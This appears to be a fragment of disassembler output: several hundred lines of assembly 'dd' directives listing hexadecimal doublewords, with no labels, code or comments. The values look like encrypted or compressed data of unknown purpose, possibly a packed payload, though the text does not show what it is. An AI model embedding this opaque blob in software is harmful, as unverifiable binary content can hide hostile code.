		dd 0FAF06712h, 0FD5AF04Eh, 0B395ED57h, 81BDF1EEh, 677CB10Ch
		dd 0F17B295Bh, 0E90800E0h, 4ACE162Ah, 0FD020CBBh, 0A0E6341h
		dd 5627F788h, 299AE0FAh, 51F9FEDAh, 0E82F6C20h,	0FDA65BBDh
		dd 93A9804h, 328B8079h,	36608F54h, 0B28A010Ch, 9C2BF2Eh
		dd 407FA409h, 9FF2E9E9h, 0A7F1E10Bh, 6A746D42h,	0B4698C7Eh
		dd 68C54012h, 66266427h, 78113933h, 0E5813887h,	19099394h
		dd 34727A05h, 4FC05059h, 7CB72646h, 0D9F7040Dh,	825F8B1Fh
		dd 62789673h, 0E015F6B5h, 2B67FEC3h, 0CB013912h, 30224401h
		dd 0B82F23AFh, 5C327DFCh, 0D0FD9C5Eh, 18DCBD0Dh, 0A85172D8h
		dd 0BF8996E0h, 0C0855520h, 500E04E3h, 0E1FEB6B0h, 27E9AD2Ch
		dd 6179C8E2h, 1CCE0076h, 0BA7E9025h, 8C162D41h,	44A1B238h
		dd 759BF86Bh, 14E77655h, 0CBA2FFCDh, 2574FBD6h,	0F2D5C9EAh
		dd 0CAEC81F2h, 3110B117h, 0C7D12B45h, 2B3A79EAh, 98FF7334h
		dd 0D15BB261h, 0CA7B1823h, 535F29FEh, 0F568BE85h, 0B59407A2h
		dd 0FF5EA9E4h, 30A2DB27h, 0C82B763Ah, 6027058h,	45DA2A6Bh
		dd 0BE3F9C18h, 68C5EA06h, 9AEC30D5h, 10A00818h,	4C8F324h
		dd 89E9923Ch, 0C777EE20h, 96D006B4h, 0A840EC68h, 803E49DFh
		dd 7B5AC280h, 0D128A2C1h, 0B6E26BF4h, 7CA18828h, 68D95713h
		dd 0EC3BF361h, 4640E1EAh, 0B4C4F82Fh, 0ECC8B3C1h, 58F8BE04h
		dd 52F7D38Eh, 620EB96Fh, 771FAC2Ah, 0BC14313h, 3E5E227h
		dd 0A53745A7h, 0E9849CFEh, 0AF98509Fh, 4856FAABh, 3E0BA321h
		dd 0EA80EE0Dh, 486F49E7h, 1DE96613h, 39EEEB85h,	97452E8Fh
		dd 40984EA2h, 52DD2768h, 3D8B0279h, 0B632F70Dh,	1662A398h
		dd 563E1125h, 97273C17h, 5C2FF0EEh, 0F822D566h,	9B80E77Ah
		dd 0C1887B34h, 910EB94h, 6E3E680Ah, 0A8AEBE72h,	0C6808372h
		dd 80B5BF3h, 0E83068D9h, 81724443h, 0D6DCD95Fh,	0F931780h
		dd 185E538Ch, 0E899392h, 0D988E561h, 4916857h, 8314E220h
		dd 288388C5h, 2231C950h, 0B05D8C00h, 6B3FE097h,	9455138Dh
		dd 0AFCBC101h, 0F5B4009Ch, 39B12C51h, 2832057Bh, 0B5EF80CCh
		dd 0E53EC0A3h, 0B3ED1F03h, 0FC9DECCFh, 984358EDh, 0B55C7398h
		dd 5ACBBD7Ch, 2F176FAh,	161E77Eh, 0EA5459CEh, 79A83CC2h
		dd 8FBE0702h, 80C252Eh,	51128AC1h, 0D3BEFC16h, 3EF16E94h
		dd 0C5119D09h, 0BD7F74A7h, 857D4FFDh, 1FF8A330h, 87575451h
		dd 3CC210B4h, 183D617Eh, 0BF673693h, 0C8852471h, 0E689F141h
		dd 410BAB05h, 0BDBCD8DDh, 1AE3CED4h, 0C35B0223h, 0D239D3D1h
		dd 803FBE7Bh, 255DC274h, 155538h, 0F2E00569h, 0E4E92E47h
		dd 84530E49h, 0B90110EEh, 707B5442h, 270BF1F2h,	0D53AAB64h
		dd 1D58E822h, 56DB7C0Bh, 21ABE912h, 0DCB2044h, 22830F01h
		dd 0BD17A8DCh, 518117C2h, 0AF9675D9h, 238EC20h,	788BF55h
		dd 4CC7315h, 900B8CB0h,	0DE623726h, 13E90581h, 7BCCCA80h
		dd 0F7AA6525h, 0E22F21CEh, 338E6935h, 2B823369h, 90D66C65h
		dd 0F1258B9Fh, 251D518Fh, 0C3912AD1h, 0AE04725Ch, 93DAD9C1h
		dd 0C2EA0705h, 2E2D4158h, 2010B179h, 0B432C002h, 5FFC4477h
		dd 8A241593h, 0F31C308h, 0ABEEAC1h, 0BC6E6510h,	7A230527h
		dd 905BE561h, 1901BE13h, 30924666h, 2FC9AC6Bh, 0FC9ED7C1h
		dd 0D7D4E917h, 0B24DFBBh, 73480FE9h, 16776B80h,	568225EBh
		dd 0CB05A752h, 49576195h, 226BE90Eh, 75214DADh,	8F61608Eh
		dd 42452553h, 0FE009BE4h, 378E0FC4h, 876211DFh,	148481CCh
		dd 0EAD23B41h, 29FA575Bh, 0F31AA62Dh, 786841A3h, 59F32E40h
		dd 0E8F11796h, 0F2A98691h, 0DCA3DEBh, 0F16AD01h, 0A74A5280h
		dd 0AEBEDF18h, 0CAF54728h, 586DFCBFh, 0B9E6DE9h, 8E21BB0Ah
		dd 0F4AA2418h, 75072C52h, 83991829h, 51163CEAh,	98F927BEh
		dd 0EFC4C202h, 9FFCA3Ah, 0D05B5743h, 0E6928BABh, 0ADEE1B8h
		dd 898848C1h, 883077E3h, 0F007C6Ah, 9B054869h, 0B796F083h
		dd 9C71ED09h, 0F8DA462h, 626857E1h, 0D457C24Bh,	85E9580Eh
		dd 29C502B5h, 0F69680D6h, 60060D7Dh, 83C0C78h, 42B58EC1h
		dd 6ADF54DFh, 0A4CB3F6Fh, 1490034Ch, 0DE58CAE6h, 5CEF2702h
		dd 7629A8E7h, 0F8017509h, 7C3401CEh, 0D8E9388Bh, 53A7A6AFh
		dd 0BA569603h, 0D703E206h, 0B8F1B320h, 745C7320h, 47120415h
		dd 1CFA1A9Dh, 38CDDA6Bh, 34460B0Bh, 690BF99Dh, 0AB9CBA2h
		dd 960D0503h, 0BE2D4A0Eh, 29AAE516h, 3AE8E940h,	9D828735h
		dd 897D0FEBh, 0E8579828h, 9702FAD6h, 9EA1B536h,	0F1B1006Ah
		dd 9F75E480h, 649341DEh, 54D53A04h, 4F6FC4C9h, 0E8B658F5h
		dd 619C043Bh, 16B068EBh, 32D276F1h, 0E35A7C25h,	0B9CE2903h
		dd 0B3391D8Fh, 41025D4Dh, 316806B0h, 0E9814B40h, 3023DCBDh
		dd 3F2EE70Ch, 647B0958h, 0CEBC2587h, 0A90AEF80h, 14FF5C8h
		dd 3BAAD9AEh, 0E36B15F1h, 42FADA98h, 9F3DFAC2h,	0C3B7377Eh
		dd 0EA071E9h, 0BE134EB7h, 38B23C9Ch, 12C7FFC8h,	33E29D65h
		dd 5D16532Fh, 0B09D331h, 2EAF84FAh, 92BECA5Bh, 8CAFE4F1h
		dd 50BC8080h, 3D35066Fh, 77E1B711h, 3A63A43Ah, 3752D516h
		dd 0C42BE2BEh, 0E6E57B19h, 952443E9h, 120662E5h, 0A557D324h
		dd 0D50A05F5h, 0E416F2E0h, 8542FF0Bh, 945D0840h, 1014809Bh
		dd 7FEE0BCCh, 0FEE23314h, 49D28982h, 19812753h,	0F24A5EB8h
		dd 0A3677466h, 0DCB51570h, 5A93EA78h, 5151EA74h, 0B195FD3Fh
		dd 0BC2F6F9Bh, 79BF9748h, 0FFE87E36h, 555CE0A5h, 576FBD05h
		dd 8D0A143Fh, 0B805FC02h, 25ECFD5Dh, 0D17CBF75h, 0BF51E9D0h
		dd 6D575F62h, 0F7E99EF6h, 1AD153Ch, 27A87BAh, 35E87B52h
		dd 6817C63Bh, 0D9CBB8BAh
		dd 0D1FD8B9Ah, 69EC802Ah, 324BC122h, 0A9E082F8h, 440D12B1h
		dd 6A69F5E9h, 1D3BEB2Bh, 413A5D51h, 82FB7D8h, 4040DAFAh
		dd 0D397B844h, 0F3A23F21h, 50DAE856h, 35094A4Ah, 78292E19h
		dd 5808801Ch, 0F196BD21h, 8B22E925h, 7A1ED4F8h,	66D5F98Bh
		dd 85984A09h, 0B299BEC1h, 0D23A68F0h, 4788BB18h, 4EB4F8F5h
		dd 7277E41Ch, 0DD7A42B5h, 4C118E94h, 0EB4EFEE5h, 6FB65DD8h
		dd 9291CE0h, 0EAAC7B11h, 6731FD09h, 49754A0h, 0F53C4E94h
		dd 8A2DBD95h, 0B85AD729h, 0FC403E10h, 0EC4C41D6h, 4C9F4016h
		dd 8D945F90h, 4361E05Eh, 43E8DB95h, 682EE82Bh, 58274080h
		dd 3B6828ABh, 8071798Fh, 5313FABDh, 0C6E14723h,	0A3453B9Ah
		dd 8CAB5B81h, 0F6D9CBF4h, 0BB218B29h, 4D01F2F8h, 0BF015128h
		dd 2BC23083h, 2CE1FF89h, 19CE7E0Fh, 6BE1EE02h, 0F8DD7D58h
		dd 740882EDh, 947FA58Fh, 0B200973Fh, 73343F8Eh,	5F40C49Fh
		dd 1D50138Ah, 4B77C92Eh, 98F4C675h, 3EB4E95h, 6E77687Ah
		dd 1F41C513h, 5C506CFBh, 51A1F795h, 91FEDFBDh, 573E93F1h
		dd 17804B2Fh, 30B05058h, 0EC5283Bh, 0E9D4F580h,	97517FE8h
		dd 625D9663h, 6EF39AA4h, 49B5D1F7h, 2E50595Dh, 0E9FB4011h
		dd 0ECE0DC3h, 0F311D329h, 2E683CCAh, 0F5CBD96Fh, 4488372Fh
		dd 525A580Bh, 0DF9D75h,	0AC033285h, 0D2050941h,	960253FCh
		dd 31DD58C6h, 0AD7E391Eh, 7C760546h, 6FC3669h, 66C28101h
		dd 300B5F4Fh, 0DB8257C3h, 0A08E17FAh, 78975D1Ah, 13124E59h
		dd 0CD8BBB64h, 58EFE94Bh, 0E3851704h, 126B41E5h, 0F6D9BB4Ah
		dd 0F2B76F5h, 6944B9D7h, 0DA87EE8Ah, 77BF6611h,	0F44D5370h
		dd 81095F1Ah, 3E6FE9EEh, 0D4FEE813h, 4FE6AE09h,	5140C688h
		dd 0D25BF8E9h, 219CFA3Ah, 84347002h, 4F4FDA1h, 924EF8AAh
		dd 0D23B161h, 6DE48000h, 5302C4E6h, 3058E328h, 494BF9D8h
		dd 30DBEFFDh, 7EB15108h, 8DE1B427h, 0CB3E50A5h,	0C3800D31h
		dd 1F2106C1h, 59B6C72Ah, 2BFD0E87h, 0C10042D1h,	0C5E9D328h
		dd 58F38369h, 5D1E31E8h, 54B5D5E6h, 0B8E97033h,	550A4A63h
		dd 0A501B954h, 15A1E26Bh, 5E6D3EAh, 0AF19A0C7h,	920C81EAh
		dd 0E7A15131h, 7C1C2002h, 0CF8080h, 0C0835445h,	55513501h
		dd 52BB900h, 0D737728h,	0C7AF5FE9h, 9F59972h, 6917D9A5h
		dd 0E93766A1h, 129F3C0Ah, 0EE0CC788h, 1EA915Dh,	4ED1F92Eh
		dd 3E5AD029h, 2E683C8Ch, 0C2DE6127h, 5F09767Ch,	973D8F71h
		dd 31E1F142h, 0DF6A62DAh, 3F25B4E4h, 91D7150h, 0A485DA01h
		dd 42CEFA3Dh, 5EF1213Fh, 8B5F1D5Dh, 63BB9DFh, 0B87D4F92h
		dd 0C9E5E85Ah, 79A49531h, 0DFB9EA5Ah, 987CE89Ah, 0EB5B42h
		dd 28ABF480h, 5558E72Fh, 6132CB2h, 0DC13D883h, 32FE9123h
		dd 6550CCCCh, 7246BA02h, 8F2133A5h, 0A010A9A2h,	698E0D51h
		dd 4E7D7A9Ah, 0B7B716F4h, 2533202Bh, 395052E9h,	0F78984A5h
		dd 580E83D7h, 0C1B9166Bh, 0CF370839h, 612B84A0h, 0E58997DEh
		dd 42B8F57Bh, 0E98044C5h, 0B7C25A91h, 5EE6583Eh, 141C5785h
		dd 0CB47FA95h, 6F67C153h, 12FA916Eh, 0E0C10121h, 2F850D30h
		dd 0E4C437D7h, 7B16B42Dh, 0EC800282h, 0D1FD5B63h, 41254295h
		dd 0EF824B79h, 600C7C08h, 57B44B1h, 0CBE96BA8h,	4C29B761h
		dd 0FD1440Dh, 5EF68D17h, 1C66DFDh, 89122145h, 0C6F2EF3Ah
		dd 0AEE788C4h, 0BF806624h, 710C2909h, 28E9846h,	40E41EA3h
		dd 42FCF101h, 98F97D5Ah, 9B4B4E83h, 0AEE41D61h,	0C0C586Dh
		dd 0A027AB89h, 197839Eh, 852E01C1h, 0E90C9D64h,	12136F33h
		dd 9EF253E8h, 7F6414C9h, 372C3EB3h, 60171D4Ah, 6015409Fh
		dd 0F3E68816h, 3F092971h, 0C207820Fh, 0F9F9FF9Eh, 7FE1C045h
		dd 556B002Fh, 776D54BDh, 13094858h, 99905EBEh, 5BA945B1h
		dd 19C80BAh, 674FE9D9h,	5F09E8C0h, 5862F01Ch, 55A23344h
		dd 0CD3FA3FFh, 5DEEA959h, 1BFBC264h, 0E4331B2Ah, 1FFE13CCh
		dd 0A2B8122Bh, 721FD3F1h, 0ECB566CBh, 67852F4Bh, 0ED8961F9h
		dd 5E96FF2Ch, 75AAFE4Eh, 92148039h, 5202A66Bh, 62386805h
		dd 7D65F718h, 0BF07E904h, 5D74CAABh, 7A4410C8h,	0B207FB5Bh
		dd 490825CAh, 0E848F80h, 515DBE83h, 40AD050Bh, 68212BFh
		dd 4893EC3Bh, 0EE20F258h, 8C4A3290h, 0FF1E16AEh, 4A689728h
		dd 49F91D92h, 4F5570CFh, 0E6CE0901h, 5DC23E9Eh,	46050668h
		dd 58542572h, 0BE696DDh, 0FEF606E9h, 230804F9h,	770500F5h
		dd 2DD81057h, 0FE06960Fh, 7449E534h, 0E4072CEFh, 2CE9CF40h
		dd 6A22134Fh, 0A3F2128Dh, 56AF9FB3h, 72E64735h,	4FFCBAC2h
		dd 36108F8Eh, 0B681D2D4h, 8560F337h, 805C80A3h,	0E0B4E12Bh
		dd 0C3648A0Eh, 4E548802h, 4832B608h, 0FEDA17C0h, 5F7943B2h
		dd 0FDB3B5FCh, 44CE6F03h, 0E051501h, 874FD0E9h,	0B19CF7FBh
		dd 0FE9100CBh, 5056515Fh, 588E9668h, 0A20F528h,	235A1EF4h
		dd 0EAD38D32h, 0CF86753Ah, 0BB058ED9h, 41AA2BDBh, 7B08AA00h
		dd 5FE91531h, 5BCD0A57h, 0F5A3E59Ah, 437EEF5Ah,	285A5303h
		dd 0C8B551D8h, 1717ED80h, 0EC2BF3E9h, 788C849Eh, 0B4564098h
		dd 2F8068C2h, 55E63AA2h, 4DCDED40h, 8977BD3Ch, 0A718E9DDh
		dd 0EE65ADF4h, 0F5BA54Bh, 0E5EFC68Ah, 2D2D4F11h, 840E203Dh
		dd 0D6D85E81h, 27D6BA07h, 161802F7h, 0A255208h,	92007566h
		dd 7BB7BCF5h, 5039974Dh, 0D73F3F4h, 0C6212C14h,	0F6F14EB6h
		dd 0F110F87Fh, 105B94Ch, 0AF58B2DFh, 0E0EBD94Dh, 691A2D22h
		dd 0A58CB01h, 77853808h, 50AE5CBCh, 582708FBh, 0C3055196h
		dd 25063AB8h, 0EBD1A3C0h, 85BF0F57h, 207A5897h,	90DC587Fh
		dd 0B74840F6h, 62D7AF50h, 59EF281Ch, 0C780CFC7h, 8D60E981h
		dd 0C101CC2Fh, 61BE944Fh, 70555CB1h, 9AB420A6h,	4B9D8BEh
		dd 473310A0h, 95BC24F0h, 224A27F2h, 0D29727EAh,	0D0FAB537h
		dd 84200878h, 1316B05Dh, 0B8FEF065h, 360F8CEEh,	0D647BD46h
		dd 0FE475A80h, 0E665572h, 6044EF81h, 517557A9h,	0E9F54B76h
		dd 24AF4B4Dh, 0EA4B760h, 200BD2A4h, 0DE7B137Dh,	9808A099h
		dd 2E900BB8h, 15543E12h, 7573A283h, 1A0C0E4Bh, 1769618h
		dd 611215D7h, 75E13065h, 20443B3h, 0EBA640h, 0B1038B71h
		dd 40975D50h, 764E57E7h, 49AD902Bh, 0FA5F9DFBh,	0A674884Ah
		dd 38C4D7A5h, 5A205CB0h, 0A654BD21h, 0BE37EDAh,	1C753B2Bh
		dd 9C32FC3Bh, 9ABE14B3h, 0FAEA8185h, 0EE009894h, 1DEB4268h
		dd 2DE064E9h, 2F7BAC31h, 5C94C1E3h, 926EE22Ah, 5D5B2509h
		dd 2109C2E5h, 2176455h,	6CBDB951h, 0BC8164CEh, 6E317965h
		dd 272E9E04h, 0D28BFB16h, 0FF693C1Fh, 45989C2h,	83A0FB27h
		dd 82C36021h, 8C7104CBh, 68504A01h, 49692BDFh, 355BF03Ah
		dd 761A26B0h, 2E09A1h, 3F436DFAh, 0E9501351h, 5B624CFAh
		dd 4402F5Ah, 5BEE5C29h,	0A8DB844Fh, 0B2C9DE83h,	0D65591F1h
		dd 41EC8770h, 79C06045h, 0D3D2D2EDh, 5FCEFA20h,	0C7E26359h
		dd 3F1BEDFCh, 0F791CF8Ch, 73928F51h, 85C0F63Ch,	0E88D1BB8h
		dd 0F56516E1h, 513FE47Bh, 591A5E94h, 3E974011h,	0DB6C8247h
		dd 414B0BF6h, 4DA9EF31h, 55198304h, 0E72D317Bh,	0F6C64E0Ah
		dd 9652F171h, 0D52C42C2h, 0C132E0ADh, 2EE049DCh, 0B85BF7B8h
		dd 25A1B656h, 0C1437BE9h, 9A20D98h, 56E9B07h, 7471D637h
		dd 0F447C729h, 201D4630h, 9012B03Ch, 0E908800Ch, 725C955Fh
		dd 0DDFA3145h, 0D79A20ADh, 0F645592Dh, 81541D5Fh, 0E7C15FACh
		dd 0D6A07E07h, 0D1CF0681h
		dd 5E1EC05Bh, 6E399E01h, 1F79E938h, 120FA32Eh, 8038C349h
		dd 605A41DEh, 49B2B70Dh, 4E141722h, 943FBD3Ch, 5DA10090h
		dd 0D6BE7469h, 648FA50h, 3DE9CE31h, 82D418Ah, 907F461Ah
		dd 1E642E64h, 5F391084h, 0E9F03CFBh, 57F73024h,	5B464E27h
		dd 256FC04Eh, 0E60421B3h, 62890F58h, 0E78203D4h, 0A36ED5B0h
		dd 0A5C2C63Bh, 8666575Bh, 0DB4BBE2Fh, 19200B64h, 0E98B0751h
		dd 0B1BC60ABh, 5B805C87h, 676F0667h, 0F1240FC1h, 0C2DFF16Ah
		dd 5F0FF055h, 6919BC5Ah, 5B14F538h, 93385698h, 2CEACBFEh
		dd 0E44038E9h, 0F05E6454h, 8368891Bh, 0A029E5D2h, 0CBDD02Bh
		dd 19143E5Dh, 5853777Bh, 0F50FD922h, 0D4B705Fh,	1C4AFF54h
		dd 0E119893Fh, 5247007Ch, 0B860EE7Eh, 5E16E2E0h, 3DFB8D8h
		dd 3D863AB5h, 7D5EE231h, 0E5453787h, 0ED2C82F6h, 20444455h
		dd 0C10EC2AFh, 6F8307EEh, 206C6901h, 40D9B866h,	16134E80h
		dd 689909ACh, 6D82715Eh, 8226A34Ah, 7E489AF3h, 13DF48BFh
		dd 4E9DEF7Dh, 0F9DAF5F0h, 9853FFF6h, 0C5295D05h, 9CA31304h
		dd 1AFD5F0Bh, 72D0D680h, 0D25B1EC4h, 2E520BFFh,	0A0CCE68h
		dd 0E11DD183h, 5956D540h, 33C0B55Eh, 0F09EAD1h,	225F5884h
		dd 74D7233Ah, 0A6B242FDh, 2DD0F05Dh, 0D0F330C4h, 0DD12E963h
		dd 1065A3ABh, 0D92FEE29h, 0E5573389h, 5BDE06E7h, 0CA2DF733h
		dd 28BC59FEh, 3AEF3830h, 0B665EB4Eh, 0ECCD22BBh, 4EA76801h
		dd 0B32AA336h, 0DEC2B7C7h, 8F3CFF00h, 5F9F7C4Ah, 0B9B97285h
		dd 3E1125Ch, 712C2C00h,	0C031236Dh, 84B85022h, 0E85FFFE6h
		dd 0F4ABBEC5h, 0DD12F799h, 82F899F3h, 8465EC5Bh, 540F2058h
		dd 4E8A676h, 4F291B78h,	1F7C6B83h, 0F3DBE90Dh, 44A0ACA6h
		dd 0FD97D828h, 0F2C806B6h, 0F7B50003h, 2C59E828h, 0EE77F072h
		dd 0CBE904E8h, 69BEACC5h, 52BE1032h, 808A0FB6h,	27E998E6h
		dd 0AF290FC1h, 0C8955ED2h, 443B8BA0h, 1F423271h, 0B762B61h
		dd 0C152581Dh, 9F60FE2Dh, 8394BDC8h, 74B47C9Dh,	1E4F48BFh
		dd 0F5258564h, 0FBDDF012h, 499625C5h, 2FED42Eh,	0D91FA249h
		dd 0DF7A09BAh, 24D3CF31h, 1A70D4F6h, 0C7D3972Dh, 0B0686CB0h
		dd 0F281AC60h, 310121Bh, 0B0F6AC17h, 4BC1DAF7h,	157D81E2h
		dd 0EBCB3AD9h, 80E7EC10h, 7858BE68h, 465E3F1Eh,	81C18C93h
		dd 74F1E98Eh, 0D85A2132h, 9DEA8E84h, 39F8EC08h,	6BA8FC99h
		dd 3E7D150Fh, 2F17DC12h, 675F7922h, 20921CD9h, 63E0F9Dh
		dd 0C9C90363h, 4FD08272h, 5B3BA6C1h, 0FC206FC4h, 7BA8415Ah
		dd 0A86B65B1h, 535B13BBh, 259CFA08h, 9FCE4577h,	8005EDE9h
		dd 3A00EF31h, 0A92F7BCFh, 0ECC09053h, 21902E41h, 0FA94B93Fh
		dd 0B7B9F5Fh, 126D466h,	30087CA8h, 1B2E801Ch, 0FD816295h
		dd 402297FAh, 1DBD1DE8h, 0C930DE3Fh, 34DD8834h,	0BFC24FBAh
		dd 5B68AA3Ch, 8FBCED7Fh, 310D24C7h, 2C69721h, 0DDED605Fh
		dd 0C501305Bh, 23357196h, 0C33E77B0h, 0A5F2269Eh, 71D1180h
		dd 30E95034h, 0C39B8E6Dh, 92257389h, 0CFC34043h, 6E5F8129h
		dd 321477B0h, 0BDE4F305h, 0FFA9097Dh, 0A1ECDEA4h, 9FFB6301h
		dd 795766D2h, 2FF58AFFh, 0F34B20A3h, 60781911h,	5AF18A03h
		dd 0DE97148Ah, 63D050F7h, 4978B002h, 7EA876E9h,	5322BAB1h
		dd 0C201FC9Dh, 0EEDF12BCh, 0A295F80h, 0B4EEA59h, 82D71B70h
		dd 5FE2F7AFh, 7F972A14h, 310E3915h, 8F54CEEh, 87D53CF7h
		dd 0B4C6AC4Dh, 0CF05A7EAh, 30803B9Ah, 50F230C0h, 0FF609D91h
		dd 1E0572B8h, 0AAE94602h, 61FFE397h, 8F852C6Eh,	82415760h
		dd 0D30865D6h, 0C372629h, 0BB0C0C0Fh, 0A130F29Dh, 8005A911h
		dd 5366CBC4h, 2016B30Eh, 815BC9D9h, 0F13049D9h,	4DB377Bh
		dd 5A48BCBh, 66C8EB80h,	0DDB3B3C1h, 6FD1F701h, 0DB7BCA0Dh
		dd 0C295CE4h, 0FA01FC02h, 3340E296h, 0B1D90505h, 0EF09C130h
		dd 6DF60680h, 330B097Dh, 0AA9CF721h, 0DFCAFF35h, 0DE040EFDh
		dd 0EE3FDD76h, 34E77640h, 5E2931C2h, 0D00CA854h, 0C5E9090Ch
		dd 83907D01h, 8A2F685Ch, 73C9855h, 51B22803h, 22CC5CAEh
		dd 0F203BCD0h, 2D32E843h, 7E0B475Eh, 5B30F706h,	0F3066A51h
		dd 5FF80923h, 4A81981Dh, 60C6C9E5h, 195E8870h, 561F9F8Bh
		dd 4616D257h, 350103A6h, 859D1CF4h, 828E21D1h, 0ED20B848h
		dd 58937E9Fh, 0D098D801h, 0DBD50882h, 2C5B13E1h, 6E0DBD3Bh
		dd 7E608B4Bh, 0ECC278FFh, 0BC385EC1h, 20F94F5h,	882AB252h
		dd 4F125FD5h, 6468F168h, 97A36762h, 6BBE2DEEh, 2C7C5CE8h
		dd 8E2E3598h, 0D942C388h, 0E654665Bh, 0C2800240h, 0CA2804A6h
		dd 0AAE2D1E9h, 0A08602A3h, 41BF1C0Dh, 407B3CCCh, 9CF8F7E8h
		dd 293ED79Fh, 33C9F4FDh, 0B4015F5Eh, 3047B20Ch,	2F42A00h
		dd 48E9670Bh, 0AFD4FB8Bh, 2820D3C4h, 0B95107CFh, 0D3134964h
		dd 9BEFCB29h, 6686321h,	5B5A3669h, 0C3114BBBh, 0E9854055h
		dd 0F3425F6Eh, 578F4EC1h, 0EE315125h, 0D0797F59h, 0BD6B2D35h
		dd 0EEC00BA8h, 7F89F508h, 0D6CB7F6h, 0FA3A25E9h, 173C6BD1h
		dd 0BA898513h, 5A876242h, 0A6C702A8h, 3195A07Eh, 36607442h
		dd 75BEF2E9h, 0B3D0A63Bh, 924D0902h, 8FBD61Fh, 5241153h
		dd 6A4EA309h, 0D9E493B0h, 16AC82A2h, 0F1EF016Bh, 0F003D77Fh
		dd 1DA0E7A8h, 8DA43CB1h, 4B51A909h, 20C7F816h, 7795B5CCh
		dd 0E9255F16h, 0B4B3F07Ah, 4EE0583Fh, 4C14A13Ch, 67EA4048h
		dd 6664397Eh, 51C0595Ch, 4EDF0248h, 9D61ABE6h, 0B32A8F68h
		dd 16BF076Bh, 1D0F307h,	9C7DE9F8h, 0AA6F2DC8h, 0F22F597h
		dd 0EB5077C2h, 5A4A08F6h, 43D28D28h, 4F0C571Ah,	991F98FCh
		dd 0AECB3E1Ah, 8ECDA033h, 0D7F72D8Ch, 7311F4Ch,	0CC8830B1h
		dd 0A14CEC2Eh, 72FEC80h, 64C069E3h, 4CD2B207h, 854D773Fh
		dd 0E6B05E11h, 0EA3B0329h, 20478F0Ch, 0A8206D6h, 0BD8D3457h
		dd 49C3FDC2h, 9DB8C4h, 0A1F5814Dh, 0BC443A73h, 0E8933F52h
		dd 4574AF12h, 66FD6889h, 0E645CAA0h, 0AE934E5Dh, 70BC784h
		dd 8B1C1059h, 1FFE2122h, 0A20BE26h, 0E98DE92Fh,	0CE7F340Fh
		dd 1AE95FA3h, 7E29A693h, 0CA8B2263h, 6FCC8932h,	3027EAD8h
		dd 0C2DC9218h, 5E2705F6h, 381481E4h, 0EC3B3267h, 5A08400Dh
		dd 48236817h, 0EE374237h, 4598F754h, 0A92B2DE9h, 87044AD1h
		dd 0FF56236Ch, 0ED4A949Ah, 0DDC90317h, 0C2437F72h, 587AD8CAh
		dd 0BE1E732Dh, 31DDBE47h, 9A20AD48h, 1F5B543Eh,	0CE3EA7ACh
		dd 1F1024E6h, 2C475027h, 9F4B2640h, 3C18205Dh, 0BF6451A7h
		dd 58E91281h, 0FBE19D3Fh, 0DB192FFDh, 2D98BDBEh, 0EBF56BCCh
		dd 0B7B35F8h, 5D39D42Fh, 2D5AEA32h, 2C899654h, 36869B6Fh
		dd 63E42412h, 0C7162A4h, 1AC1E230h, 9F64B980h, 50C954C1h
		dd 2F4C7FFBh, 768888B6h, 9B68047Ch, 7ED2B330h, 4CF74A59h
		dd 0F8D80EC5h, 5FA2F73Ch, 59CF3001h, 0F307EFC0h, 0EC23D2B7h
		dd 8A8EDB08h, 0CAAF371Bh, 0DC8024E5h, 0F2FF5F12h, 0B5E9C264h
		dd 0ECE24820h, 10D459F6h, 1E0A5A7Ch, 0A0DB99F2h, 54073B93h
		dd 0C0F25559h, 0D9BE006Ch, 1B4A0F0Dh, 0EA7DC0AFh, 827995C8h
		dd 90D08920h, 0A7791753h, 40DEF94Ch, 5EBD5808h,	4FB6D87Bh
		dd 4E68660Bh, 51B923Dh,	0DEAD1AF3h, 45CD2212h, 0B3E4A32Fh
		dd 0CF127E30h, 91BA2952h, 3E44E990h, 0CB639A44h, 7C1645EDh
		dd 4558E2AAh, 1B583CC9h, 5F0BD3F7h, 0B73DFF54h,	6B6DE040h
		dd 436627BEh, 0FDF21255h, 0D5E01C0Bh, 0F15F639Ch, 7627C6CEh
		dd 0E95D8910h, 94C4F432h
		dd 52FC8C29h, 48D0BFA2h, 0F91F38B0h, 0E0ED7FB9h, 61DBE9FCh
		dd 0EBC02EF6h, 0E1C9E002h, 6F87E5FFh, 0BC5B84CAh, 0DE110F5h
		dd 0EDBBE916h, 9BFD2F1Ch, 0B491EB28h, 0A070CDFFh, 0F434991Fh
		dd 66E53587h, 49A503E9h, 5F581455h, 58D405ECh, 6CF3EB5Eh
		dd 0B89CAF92h, 575F25E9h, 0F770DD56h, 3D9590DBh, 10026204h
		dd 8D0E953h, 0C144A07Fh, 5DC07046h, 34748730h, 0AA0C1ED4h
		dd 0F07A9FB1h, 80415423h, 8929B96Bh, 0E9FC600Ah, 0BD9E6B73h
		dd 34F6E8DFh, 0D85A4B06h, 0E745BA10h, 95E39DD8h, 756825F1h
		dd 2042AD26h, 23D109CAh, 102CC680h, 4CE92FEEh, 0AAD35DB9h
		dd 459929D1h, 3A719D89h, 0E5FA6B44h, 867AFB5Ch,	0F65CFAC1h
		dd 0AC961EDh, 0CC0253BDh, 0FBF64D4Ah, 0C858FBCCh, 7A730F26h
		dd 10930165h, 0B94A08B4h, 5468829Dh, 5861761Bh,	8398C301h
		dd 0E175F764h, 2C1603E8h, 68DD2C58h, 0E6B3A25Bh, 5DBE2A78h
		dd 0E951122Ch, 0AB285761h, 0BC64E4DAh, 0A4A1BBC7h, 0A0BBECDBh
		dd 4330E9B0h, 0B104E16Eh, 68F00B28h, 935C451Ah,	6D9F9F6Fh
		dd 0B90CE897h, 9D2D3120h, 9426D974h, 84BBB9E4h,	0DF2DE28Fh
		dd 80C4114Bh, 5D95C910h, 4920042Dh, 0EF41D1F7h,	9C384600h
		dd 983109FCh, 499888BCh, 0C4DF82E8h, 9D3FB25Eh,	24F979DAh
		dd 0AC4E7884h, 809732A3h, 5AA7924h, 0B301E6FEh,	0F10ED04h
		dd 0B4683F83h, 33C1AF4Bh, 47803D19h, 0D55E8FC7h, 0E8905650h
		dd 4E4E7922h, 9398BBE3h, 145E9F5Ah, 0B5F1D75Ah,	457B7CE9h
		dd 5B40AC9Ch, 0BA4B36DAh, 0C89AF544h, 7D751E92h, 6E5DF58Bh
		dd 0FB68164Ah, 1345F329h, 114594DDh, 0D4B66DFh,	2F0E7E51h
		dd 893A1AD6h, 48B7E9CBh, 1496C18Bh, 0CD1BF313h,	7F60E005h
		dd 529EE08Ch, 70845D6Eh, 0B68AEC78h, 4CD7272Ah,	0B73BFA7Ch
		dd 0AC5D8C85h, 5BE9AC98h, 0BF8985E2h, 0D197B2B6h, 2E6DBCE0h
